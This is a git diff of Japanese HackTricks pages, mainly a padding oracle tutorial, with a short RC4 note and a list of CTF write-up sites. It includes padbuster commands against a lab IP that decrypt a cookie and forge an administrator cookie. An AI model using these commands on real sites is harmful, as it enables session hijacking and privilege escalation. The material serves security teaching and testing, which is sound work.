最後の例では、**最後のブロックがいっぱいだったため、パディングだけで別のブロックが生成**されたことに注意してください。
|
||||
最後の例では、**最後のブロックがいっぱいだったので、パディングのみで別のブロックが生成された**ことに注意してください。
|
||||
|
||||
# パディングオラクル
|
||||
# Padding Oracle
|
||||
|
||||
アプリケーションが暗号化されたデータを復号する場合、まずデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**検出可能な動作が無効なパディングをトリガー**する場合、パディングオラクルの脆弱性があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**などです。
|
||||
アプリケーションが暗号化されたデータを復号するとき、まずデータを復号し、次にパディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な挙動を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な挙動には、**エラー**、**結果の欠如**、または**応答の遅延**が含まれます。
|
||||
|
||||
この動作を検出すると、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。
|
||||
この挙動を検出した場合、暗号化されたデータを**復号する**ことができ、さらに任意の**クリアテキストを暗号化する**こともできます。
|
||||
|
||||
## 悪用方法
|
||||
## どのように悪用するか
|
||||
|
||||
この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に以下の操作を行います。
|
||||
この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
サイトのクッキーが脆弱かどうかをテストするために、以下の方法を試すことができます:
|
||||
|
||||
```plaintext
|
||||
1. クッキーの暗号化方式を特定します。これは、Set-Cookieヘッダーの値やCookieの値から推測することができます。
|
||||
|
||||
2. クッキーの暗号化方式に関連するパディングオラクル攻撃を実行します。これにより、クッキーの暗号化に使用されるパディングスキームの脆弱性を検出することができます。
|
||||
|
||||
3. パディングオラクル攻撃によってクッキーの暗号化に使用されるパディングスキームが脆弱であることが判明した場合、攻撃者は暗号文を解読することができます。
|
||||
|
||||
4. 解読された暗号文を使用して、攻撃者はクッキーの値を変更したり、セッションを乗っ取ったりすることができます。
|
||||
|
||||
注意:パディングオラクル攻撃は合法的なテストの範囲内でのみ実施してください。悪意のある目的で使用することは違法です。
|
||||
```
|
||||
|
||||
この方法を使用して、サイトのクッキーの脆弱性をテストすることができます。ただし、合法的なテストの範囲内でのみ使用してください。
|
||||
サイトのクッキーが脆弱かどうかをテストするために、次の方法を試すことができます:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**エンコーディング0**は、**base64**が使用されていることを意味します(ただし、他のものも利用可能です。ヘルプメニューを確認してください)。
|
||||
**エンコーディング0** は **base64** が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。
|
||||
|
||||
また、この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が「\_user=MyUsername\_」であるとします。その場合、それを「\_user=administrator\_」に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して`-plaintext`パラメータを指定しても同様に行うことができます。
|
||||
また、この脆弱性を悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" だった場合、それを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。`paduster` を使用して -plaintext パラメータを指定することでこれを行うこともできます:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
もしサイトが脆弱であれば、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
|
||||
サイトが脆弱である場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error** パラメータを使用してエラーメッセージを指定することもできます。
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## 理論
|
||||
|
||||
要約すると、正しい値を推測して異なるパディングを作成するために使用できる値を推測することで、暗号化されたデータの復号化を開始することができます。その後、パディングオラクル攻撃は、1、2、3などの正しい値を推測して、終了から開始までのバイトを復号化し始めます。
|
||||
**要約すると**、異なる**パディング**を作成するために使用できる正しい値を推測することから、暗号化されたデータの復号化を開始できます。次に、パディングオラクル攻撃は、**1、2、3などのパディングを作成する**正しい値が何かを推測しながら、最後から始めるバイトを復号化し始めます。
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
E0からE15までのバイトで形成される2つのブロックで構成される暗号化されたテキストがあると想像してください。最後のブロック(E8からE15)を復号化するために、ブロック暗号の復号化を通過することで、中間バイトI0からI15が生成されます。最後に、各中間バイトは前の暗号化されたバイト(E0からE7)とXORされます。したがって:
|
||||
**2ブロック**にわたって配置された暗号化されたテキストがあると想像してください。これは、**E0からE15**までのバイトで構成されています。\
|
||||
**最後のブロック**(**E8**から**E15**)を**復号化**するために、全ブロックが「ブロック暗号復号」を通過し、**中間バイトI0からI15**を生成します。\
|
||||
最終的に、各中間バイトは前の暗号化されたバイト(E0からE7)と**XOR**されます。したがって:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -97,25 +83,26 @@ E0からE15までのバイトで形成される2つのブロックで構成さ
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
今、`C15`が`0x01`であるまで`E7`を変更することができます。これは正しいパディングでもあります。したがって、この場合は:`\x01 = I15 ^ E'7`
|
||||
今、`E7`を変更して`C15`が`0x01`になるまで**修正することが可能**です。これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7`
|
||||
|
||||
したがって、`E'7`を見つけると、`I15`を計算することができます:`I15 = 0x01 ^ E'7`
|
||||
E'7を見つけることで、**I15を計算することが可能**です:`I15 = 0x01 ^ E'7`
|
||||
|
||||
これにより、`C15`を計算することができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
これにより、**C15を計算することができます**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
`C15`がわかったので、今度はパディング`\x02\x02`をブルートフォースして`C14`を計算することができます。
|
||||
**C15**を知っていると、今度は`\x02\x02`のパディングをブルートフォースすることで**C14を計算することが可能**です。
|
||||
|
||||
このBFは前のものと同じくらい複雑です。`C14`が`0x02`と等しい`E'14`を生成する`E''15`を見つけることができます:`E''7 = \x02 ^ I15`なので、`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`と同じ手順を実行してC14を復号化します。
|
||||
このBFは、0x02の値を持つ`E''15`を計算できるため、前のものと同じくらい複雑です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい** **`E'14`**を見つけるだけで済みます。\
|
||||
その後、C14を復号化するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**暗号化されたテキスト全体を復号化するまで、このチェーンに従ってください。**
|
||||
**この連鎖を続けて、暗号化されたテキスト全体を復号化します。**
|
||||
|
||||
## 脆弱性の検出
|
||||
|
||||
アカウントを登録し、このアカウントでログインします。\
|
||||
何度もログインしても常に同じクッキーが返される場合、アプリケーションにはおそらく何か問題があります。クッキーはログインするたびに一意であるべきです。クッキーが常に同じであれば、おそらく常に有効であり、無効にする方法はありません。
|
||||
もし何度**ログインしても常に同じクッキー**を受け取る場合、アプリケーションに**何か問題**がある可能性が高いです。ログインするたびに**クッキーはユニークであるべき**です。クッキーが**常に同じ**場合、おそらく常に有効であり、**無効にする方法はありません**。
|
||||
|
||||
さて、クッキーを変更しようとすると、アプリケーションからエラーが返されることがわかります。\
|
||||
ただし、パディングをブルートフォースする(たとえば、padbusterを使用する)と、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオは、おそらくpadbusterに対して脆弱性がある可能性が高いです。
|
||||
今、クッキーを**変更**してみると、アプリケーションから**エラー**が返されることがわかります。\
|
||||
しかし、パディングをブルートフォースする(例えばpadbusterを使用)と、別のユーザーのための有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して高い確率で脆弱であると考えられます。
|
||||
|
||||
# 参考文献
|
||||
|
||||
|
@ -124,16 +111,14 @@ E0からE15までのバイトで形成される2つのブロックで構成さ
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
|
||||
- [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
もしRC4を使って平文を暗号化できるなら、同じパスワードを使って暗号化されたコンテンツを復号化することができます。
|
||||
もし何らかの方法でRC4を使用して平文を暗号化できるなら、そのRC4で暗号化された任意のコンテンツを(同じパスワードを使用して)暗号化機能を使って復号化することができます。
|
||||
|
||||
既知の平文を暗号化できる場合、パスワードを抽出することもできます。HTB Kryptosマシンに関する詳細は以下のリンクを参照してください:
|
||||
既知の平文を暗号化できる場合、パスワードも抽出できます。より多くの参考情報はHTB Kryptosマシンで見つけることができます:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
@ -29,16 +27,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
* [Write-up factory](https://writeup.raw.pm/) - Write-upを検索するための検索エンジン(TryHackMe、HackTheBoxなど)
|
||||
* [CTFtime Write-ups](https://ctftime.org/writeups) - CTFイベントに追加された最新のWrite-up
|
||||
* [Write-up factory](https://writeup.raw.pm/) - Write-upを検索するエンジン(TryHackMe, HackTheBoxなど)
|
||||
* [CTFtime Write-ups](https://ctftime.org/writeups) - CTFtimeのCTFイベントに追加された最新のWrite-up
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,16 +17,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,34 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
